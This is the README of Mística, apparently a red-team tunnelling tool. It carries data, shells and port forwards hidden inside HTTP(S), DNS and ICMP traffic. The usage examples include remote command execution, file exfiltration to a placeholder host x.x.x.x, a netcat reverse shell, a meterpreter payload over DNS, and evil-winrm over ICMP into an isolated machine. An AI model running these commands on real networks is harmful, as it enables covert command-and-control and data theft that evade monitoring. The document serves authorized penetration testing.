MÃstica
MÃstica Logo by JoelGMSec |
MÃstica is a tool that allows to embed data into application layer protocol fields, with the goal of establishing a bi-directional channel for arbitrary communications. Currently, encapsulation into HTTP, HTTPS, DNS and ICMP protocols has been implemented, but more protocols are expected to be introduced in the near future.
MÃstica has a modular design, built around a custom transport protocol, called SOTP: Simple Overlay Transport Protocol. Data is encrypted, chunked and put into SOTP packets. SOTP packets are encoded and embedded into the desired field of the application protocol, and sent to the other end.
The goal of the SOTP layer is to offer a generic binary transport protocol, with minimal overhead. SOTP packets can be easily hidden or embeddeded into legitimate application protocols. Also SOTP makes sure that packets are received by the other end, encrypts the data using RC4 (this may change in the future), and makes sure that information can flow in both ways transparently, by using a polling mechanism.
Modules interact with the SOTP layer for different purposes:
- Wrap modules or Wrappers: These modules encode / decode SOTP packets from / into application layer protocols
- Overlay modules: These Modules ccommunicate over the SOTP channel. Examples are: io redirection (like netcat), shell (command execution), port forwarding…
Wrapper and overlay modules work together in order to build custom applications, e.g input redirection over DNS or remote port forwarding over HTTP.
MÃstica’s modular design allows for easy development of new modules. Also, the user can easily fork current modules in order to use some custom field or encoding or modify the behavior of an overlay module.
There are two main pieces of sofware:
- MÃstica server (
ms.py
): Uses modules that act as the server of the desired application layer protocol (HTTP, HTTPS, DNS, ICMP...). It is also designed in a way that will allow for multiple servers, wrappers and overlays to be run at the same time, with just one instance ofms.py
, although this feature is not fully implemented yet. - MÃstica client (
mc.py
): Uses modules that act as the client of the desired applicarion layer protocol (HTTP, HTTPS, DNS, ICMP...). It can only use one overlay and one wrapper at the same time.
Demos
You can see some MÃstica demos in the following playlist
Dependencies
The project has very few dependencies. Currently:
- MÃstica Client needs at least Python 3.7
- MÃstica Server needs at least Python 3.7 and
dnslib
.
python3.7 -m pip install pip --user
pip3.7 install dnslib --user
If you don't want to install python on your system, you can use one of the following portable versions:
- https://www.anaconda.com/distribution/#download-section (for Windows, Linux and macOS)
- https://github.com/winpython/winpython/releases/tag/2.1.20190928 (only for Windows)
Current modules
Overlay modules:
io
: Reads from stdin, sends through SOTP connection. Reads from SOTP connection, prints to stdoutshell
: Executes commands recieved through the SOTP connection and returns the output. Compatible with io module.tcpconnect
: Connects to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.tcplisten
: Binds to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.
Wrap modules:
dns
: Encodes/Decodes data in DNS queries/responses using different methodshttp
: Encodes/Decodes data in HTTP or HTTPS requests/responses using different methodsicmp
: Encodes/Decodes data in ICMP echo requests/responses on data section
Usage
ms.py
: MÃstica Server
Here's how the help message looks like:
usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
[-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]
Mistica server. Anything is a tunnel if you're brave enough. Run without
parameters to launch multi-handler mode.
optional arguments:
-h, --help show this help message and exit
-k KEY, --key KEY RC4 key used to encrypt the comunications
-l LIST, --list LIST Lists modules or parameters. Options are: all,
overlays, wrappers, <overlay name>, <wrapper name>
-m MODULES, --modules MODULES
Module pair in single-handler mode. format:
'overlay:wrapper'
-w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
args for the selected overlay module (Single-handler
mode)
-o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
args for the selected wrapper module (Single-handler
mode)
-s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS
args for the selected wrap server (Single-handler
mode)
-v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv
Medium, -vvv High)
There are two main modes in MÃstica Server:
- Single Handler Mode: When
ms.py
is launched with parameters, it allows a single overlay modoule interacting with a single wrapper module. - Multi-handler Mode: (Not published yet) When
ms.py
is run without parameters, the user enters an interactive console, where multiple overlay and wrapper modules may be launched. These modules will be able to interact with each other, with few restrictions.
mc.py
: MÃstica client
Here's how the help message looks like:
usage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
[-o OVERLAY_ARGS]
Mistica client.
optional arguments:
-h, --help show this help message and exit
-k KEY, --key KEY RC4 key used to encrypt the comunications
-l LIST, --list LIST Lists modules or parameters. Options are: all,
overlays, wrappers, <overlay name>, <wrapper name>
-m MODULES, --modules MODULES
Module pair. Format: 'overlay:wrapper'
-w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
args for the selected overlay module
-o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
args for the selected wrapper module
-v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv
Medium, -vvv High)
Parameters
-l, --list
is used to either listall
modules, only list one type: (overlays
orwrappers
) or list the parameters that a certain module can accept through-o
,-w
or-s
.-k, --key
is used to specify the key that will be used to encrypt the overlay communication. This must be the same in client and server and is currently mandatory. This may change in the future if secret-sharing schemes are implemented.-m, --modules
is used to specify which module pair do you want to use. You must use the following format: overlay_module + : + wrap_module. This parameter is also mandatory.-w, --wrapper-args
allows you to specify a particular configuration for the wrap module.-o, --overlay-args
allows you to specify a particular configuration for the overlay module.-s, --wrap-server-args
is only present onms.py
. It allows you to specify a particular configuration for the wrap server. Each wrap module has a dependency on a wrap server, and both configurations can be tuned
Examples and Advanced use
Remember that you can see all of the accepted parameters of a module by typing
-l <module_name>
(e.g./ms.py -l dns
). Also remember to use a long and complex key to protect your communications!
HTTP
In order to illustrate the different methods of HTTP encapsulation, the IO redirection overlay module (io
) will be used for every example.
- HTTP GET method with b64 encoding in the default URI, using localhost and port 8080 (default values).
- MÃstica Server:
./ms.py -m io:http -k "rc4testkey"
- MÃstica Client:
./mc.py -m io:http -k "rc4testkey"
- MÃstica Server:
- HTTP GET method with b64 encoding in the default URI, specifying IP address and port.
- MÃstica Server:
./ms.py -m io:http -k "rc4testkey" -s "--hostname x.x.x.x --port 10000"
- MÃstica Client:
./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 10000"
- MÃstica Server:
- HTTP GET method with b64 encoding in custom URI, using localhost and port 8080 (default values).
- MÃstica Server:
./ms.py -m io:http -k "rc4testkey" -w "--uri /?token="
- MÃstica Client:
./mc.py -m io:http -k "rc4testkey" -w "--uri /?token="
- MÃstica Server:
- HTTP GET method with b64 encoding in custom header, using localhost and port 8080 (default values).
- MÃstica Server:
./ms.py -m io:http -k "rc4testkey" -w "--header laravel_session"
- MÃstica Client:
./mc.py -m io:http -k "rc4testkey" -w "--header laravel_session"
- MÃstica Server:
- HTTP POST method with b64 encoding in default field, using localhost and port 8080 (default values).
- MÃstica Server:
./ms.py -m io:http -k "rc4testkey" -w "--method POST"
- MÃstica Client:
./mc.py -m io:http -k "rc4testkey" -w "--method POST"
- MÃstica Server:
- HTTP POST method with b64 encoding in custom header, using localhost and port 8080 (default values).
- MÃstica Server:
./ms.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"
- MÃstica Client:
./mc.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"
- MÃstica Server:
- HTTP POST method with b64 encoding in custom field, using localhost and port 8080 (default values).
- MÃstica Server:
./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"
- MÃstica Client:
./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"
- MÃstica Server:
- HTTP POST method with b64 encoding in custom field, with custom packet size, custom retries, custom timeout and sepcifying IP and port:
- MÃstica Server:
./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10" -s "--hostname 0.0.0.0 --port 8088 --timeout 30"
- MÃstica Client:
./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088"
- MÃstica Server:
- HTTP POST method with b64 encoding in custom field, using a custom error template, using localhost and port 8080 (default values).
- MÃstica Server:
./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data" -s "--error-file /tmp/custom_error_template.html --error-code 408"
- MÃstica Client:
./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"
- MÃstica Server:
- HTTP GET method with b64 encoding in the default URI, using custom HTTP response code and using localhost and port 8080 (default values):
- MÃstica Server:
./ms.py -m io:http -k "rc4testkey" -w "--success-code 302"
- MÃstica Client:
./mc.py -m io:http -k "rc4testkey" -w "--success-code 302"
- MÃstica Server:
- HTTPS GET method with b64 encoding in the default URI using 443 port. A certificate must be generated in Mistica Server to use the ssl option, the Mistica Client only needs to receive the ssl flag:
- MÃstica Server:
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
sudo ./ms.py -m io:http -k "rc4testkey" -s "--port 443 --ssl --ssl-cert server.pem"
- MÃstica Client:
./mc.py -m io:http -k "rc4testkey" -w "--ssl --port 443"
- MÃstica Server:
- HTTP GET method with b64 encoding in the default URI, using proxy server in Mistica Client (can be used in environments where HTTP communication must necessarily pass through a corporate proxy, which is not specified in the computer configuration). Test the following example with Burpsuite:
- MÃstica Server:
./ms.py -m io:http -k "rc4testkey" -s "--port 8000 --timeout 30"
- MÃstica Client:
./mc.py -m io:http -k "rc4testkey" -w "--proxy 127.0.0.1:8080 --port 8000 --poll-delay 30 --response-timeout 30"
- MÃstica Server:
DNS
In order to illustrate the different methods of DNS encapsulation, the IO redirection overlay module (io
) will be used for every example.
- TXT query, using localhost and port 5353 (default values):
- MÃstica Server:
./ms.py -m io:dns -k "rc4testkey"
- MÃstica Client:
./mc.py -m io:dns -k "rc4testkey"
- MÃstica Server:
- NS query, using localhost and port 5353 (default values):
- MÃstica Server:
./ms.py -m io:dns -k "rc4testkey" -w "--queries NS"
- MÃstica Client:
./mc.py -m io:dns -k "rc4testkey" -w "--query NS"
- MÃstica Server:
- CNAME query, using localhost and port 5353 (default values):
- MÃstica Server:
./ms.py -m io:dns -k "rc4testkey" -w "--queries CNAME"
- MÃstica Client:
./mc.py -m io:dns -k "rc4testkey" -w "--query CNAME"
- MÃstica Server:
- MX query, using localhost and port 5353 (default values):
- MÃstica Server:
./ms.py -m io:dns -k "rc4testkey" -w "--queries MX"
- MÃstica Client:
./mc.py -m io:dns -k "rc4testkey" -w "--query MX"
- MÃstica Server:
- SOA query, using localhost and port 5353 (default values):
- MÃstica Server:
./ms.py -m io:dns -k "rc4testkey" -w "--queries SOA"
- MÃstica Client:
./mc.py -m io:dns -k "rc4testkey" -w "--query SOA"
- MÃstica Server:
- TXT query, using localhost and port 5353 (default values) and custom domains:
- MÃstica Server:
./ms.py -m io:dns -k "rc4testkey" -w "--domains mistica.dev sotp.es"
- MÃstica Client:
./mc.py -m io:dns -k "rc4testkey" -w "--domain sotp.es"
./mc.py -m io:dns -k "rc4testkey" -w "--domain mistica.dev"
- MÃstica Server:
- TXT query, specifying port and hostname:
- MÃstica Server:
./ms.py -m io:dns -k "rc4testkey" -s "--hostname 0.0.0.0 --port 1337"
- MÃstica Client:
./mc.py -m io:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 1337"
- MÃstica Server:
- TXT query, using multiple subdomains:
- MÃstica Server:
./ms.py -m io:dns -k "rc4testkey"
- MÃstica Client:
./mc.py -m io:dns -k "rc4testkey" -w "--multiple --max-size 169"
- MÃstica Server:
ICMP
The Linux kernel, when it receives an icmp echo request package, by default automatically responds with an icmp echo reply package (without giving us any option to reply). That's why we have to disable icmp responses to be able to send our own with data that differs from that sent by the client. To do this, we do the following:
Disable automatic icmp responses by the kernel (root required) editing /etc/sysctl.conf
file:
- Add the following line to your /etc/sysctl.conf:
net.ipv4.icmp_echo_ignore_all=1
- Then, run:
sysctl -p
to take effect.
Now, in order to illustrate the different methods of ICMP encapsulation, the IO redirection overlay module (io
) will be used for every example.
- ICMP Data Section, using interface eth0:
- MÃstica Server:
./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
- MÃstica Client:
./mc.py -m io:icmp -k "rc4testkey" -w "--hostname x.x.x.x"
- MÃstica Server:
Shell and IO
You can get remote command execution using mÃstica over a custom channel, by combining io
and shell
modules. Examples:
-
Executing commands on client system over DNS using TXT query.
- MÃstica Server:
sudo ./ms.py -m io:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53"
- MÃstica Client:
./mc.py -m shell:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53"
- MÃstica Server:
-
Executing commands on server system over HTTP using GET requests:
- MÃstica Server:
./ms.py -m shell:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000"
- MÃstica Client:
./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000"
- MÃstica Server:
-
Executing commands on client system over ICMP:
- MÃstica Server:
./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
- MÃstica Client:
./mc.py -m shell:icmp -k "rc4testkey" -w "--hostname x.x.x.x"
- MÃstica Server:
-
Exfiltrating files via HTTP using the IO module and redirect operators:
- MÃstica Server:
./ms.py -m io:http -s "--hostname 0.0.0.0 --port 80" -k "rc4testkey" -vv > confidential.pdf
- MÃstica Client (important to run from the cmd):
type confidential.pdf | E:\Mistica\WPy64-3741\python-3.7.4.amd64\python.exe .\mc.py -m io:http -w "--hostname x.x.x.x --port 80" -k "rc4testkey" -vv
- MÃstica Server:
Port forwarding with tcpconnect and tcplisten
- Remote port forwarding (seen from server) over HTTP. Address
127.0.0.1:4444
on the client will be forwarded to address127.0.0.1:5555
on the server. There must be already something listening on5555
.- MÃstica Server:
./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"
- MÃstica Client:
./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"
- MÃstica Server:
- Local port forwarding (seen from server) over DNS. Address
127.0.0.1:4444
on the server will be forwarded to address127.0.0.1:5555
on the client. There must be already something listening on5555
.- MÃstica Server:
sudo ./ms.py -m tcplisten:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"
- MÃstica Client:
./mc.py -m tcpconnect:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"
- MÃstica Server:
- HTTP reverse shell using netcat on linux client.
- Netcat Listener (on server):
nc -nlvp 5555
- MÃstica Server:
./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"
- MÃstica Client:
./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"
- Netcat Shell (on linux client):
ncat -nve /bin/bash 127.0.0.1 4444
- Netcat Listener (on server):
- Running
meterpreter_reverse_tcp
(linux) over DNS using port forwarding. Payload generated withmsfvenom -p linux/x64/meterpreter_reverse_tcp LPORT=4444 LHOST=127.0.0.1 -f elf -o meterpreter_reverse_tcp_localhost_4444.bin
- Run
msfconsole
on server and launch handler with:handler -p linux/x64/meterpreter_reverse_tcp -H 127.0.0.1 -P 5555
- MÃstica Server:
sudo ./ms.py -m tcpconnect:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"
- MÃstica Client:
./mc.py -m tcplisten:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"
- Run meterpreter on client:
./meterpreter_reverse_tcp_localhost_4444.bin
- Run
- EvilWinrm over ICMP using a jumping machine to access an isolated machine.
- Mistica Server:
./ms.py -m tcplisten:icmp -s "--iface eth0" -k "rc4testkey" -o "--address 127.0.0.1 --port 5555 --persist" -vv
- Mistica Client:
python.exe .\mc.py -m tcpconnect:icmp -w "--hostname x.x.x.x" -k "rc4testkey" -o "--address x.x.x.x --port 5985 --persist" -vv
- EvilWinrm Console (on C2 machine):
evil-winrm -u Administrador -i 127.0.0.1 -P 5555
- Mistica Server:
Docker
A Docker image has been created for local use. This avoids us having to install Python or dnslib only if we want to test the tool, it is also very interesting for debug or similar because we avoid the noise generated by other local applications. To build it we simply follow these steps:
- First build image with:
sudo docker build --tag mistica:latest .
- Second, create the network with:
sudo docker network create misticanw
- Third run the server with:
sudo docker run --network misticanw --sysctl net.ipv4.icmp_echo_ignore_all=1 -v $(pwd):/opt/Mistica -it mistica /bin/bash
- Fourth run the client with:
sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash
How to compile
MÃstica is a tool developed in Python, which means that, theoretically, it can be compiled.
To compile the tool we will use Pyinstaller, this tool will allow us to generate a binary (depending on the operating system we are in), this means that we can NOT do Cross-compiling as in other languages like C, C++, Golang, Rust, etc. We are working on a way to make this possible, however, we leave you with the Pyinstaller command that will allow us to compile MÃstica in any operating system:
Compile Mistica Client
As MÃstica Client has no dependencies, it can be compiled directly with Pyinstaller. To compile it follow the following steps:
- First, install pyinstaller for Python3.7 or higher:
python3.7 -m pip install pyinstaller --user
- And now, compile MÃstica Client with the following command:
pyinstaller --onefile \
--hiddenimport overlay.client.io \
--hiddenimport overlay.client.shell \
--hiddenimport overlay.client.tcpconnect \
--hiddenimport overlay.client.tcplisten \
--hiddenimport wrapper.client.http \
--hiddenimport wrapper.client.dns \
--hiddenimport wrapper.client.icmp \
--hiddenimport overlay.server.io \
--hiddenimport overlay.server.shell \
--hiddenimport overlay.server.tcpconnect \
--hiddenimport overlay.server.tcplisten \
--hiddenimport wrapper.server.wrap_module.http \
--hiddenimport wrapper.server.wrap_module.dns \
--hiddenimport wrapper.server.wrap_module.icmp \
--hiddenimport wrapper.server.wrap_server.httpserver \
--hiddenimport wrapper.server.wrap_server.dnsserver \
--hiddenimport wrapper.server.wrap_server.icmpserver \
mc.py
Compile Mistica Server
If you want to compile MÃstica Server you need to install, with Pip, Dnslib library in a global (remember that it is the only dependency of MÃstica, and only for the MÃstica Server). To do this you need to follow the following steps:
- First, install Python3.7 or higher on your Windows, Linux or Mac system.
- Second, install, with Pip, the Dnslib library:
pip install dnslib
(without the "--user" flag, this way it will be installed globally on the system, otherwise, pyinstaller will not be able to add it as hidden import. This step requires administrator permissions) - Thirdly, install, with Pip, the Pyinstaller library:
pip install pyinstaller
. - And fourth, compile MÃstica Server with the following command:
pyinstaller --onefile \
--hiddenimport overlay.client.io \
--hiddenimport overlay.client.shell \
--hiddenimport overlay.client.tcpconnect \
--hiddenimport overlay.client.tcplisten \
--hiddenimport wrapper.client.http \
--hiddenimport wrapper.client.dns \
--hiddenimport wrapper.client.icmp \
--hiddenimport overlay.server.io \
--hiddenimport overlay.server.shell \
--hiddenimport overlay.server.tcpconnect \
--hiddenimport overlay.server.tcplisten \
--hiddenimport wrapper.server.wrap_module.http \
--hiddenimport wrapper.server.wrap_module.dns \
--hiddenimport wrapper.server.wrap_module.icmp \
--hiddenimport wrapper.server.wrap_server.httpserver \
--hiddenimport wrapper.server.wrap_server.dnsserver \
--hiddenimport wrapper.server.wrap_server.icmpserver \
--hiddenimport dnslib \
ms.py
Future work
- Cross-Compiling method to be able to compile Mistica for different operating systems without having to do so from the target operating system.
- Transparent Diffie-Hellman key generation for SOTP protocol
- Multi-Handler mode: Interactive mode for
ms.py
. This will let the user combine more than one overlay with more than one wrapper and more than one wrap module per wrap server. - Module development documentation for custom module development. This is discouraged right now as module specification is still under development.
- Next modules:
- SMB wrapper
- RAT and RAT handler overlay
- SOCKS proxy and dynamic port forwarding overlay
- File Transfer overlay
- RDP wrapper
- Custom HTTP templates for more complex encapsulation
- SOTP protocol specification documentation for custom clients or servers. This is discouraged right now as the protocol is still under development.
Authors and license
This project has been developed by Carlos Fernández Sánchez and Raúl Caro Teixidó. The code is released under the GNU General Public License v3.
This project uses third-party open-source code, particularly:
- Bitstring developed by Scott Griffiths.
- A RC4 binary-safe developed by David Buchanan.
- A DNS Client without dependencies developed by Vlad Vitan.
- A ICMP Server and Client without dependencies developed by Raul Caro.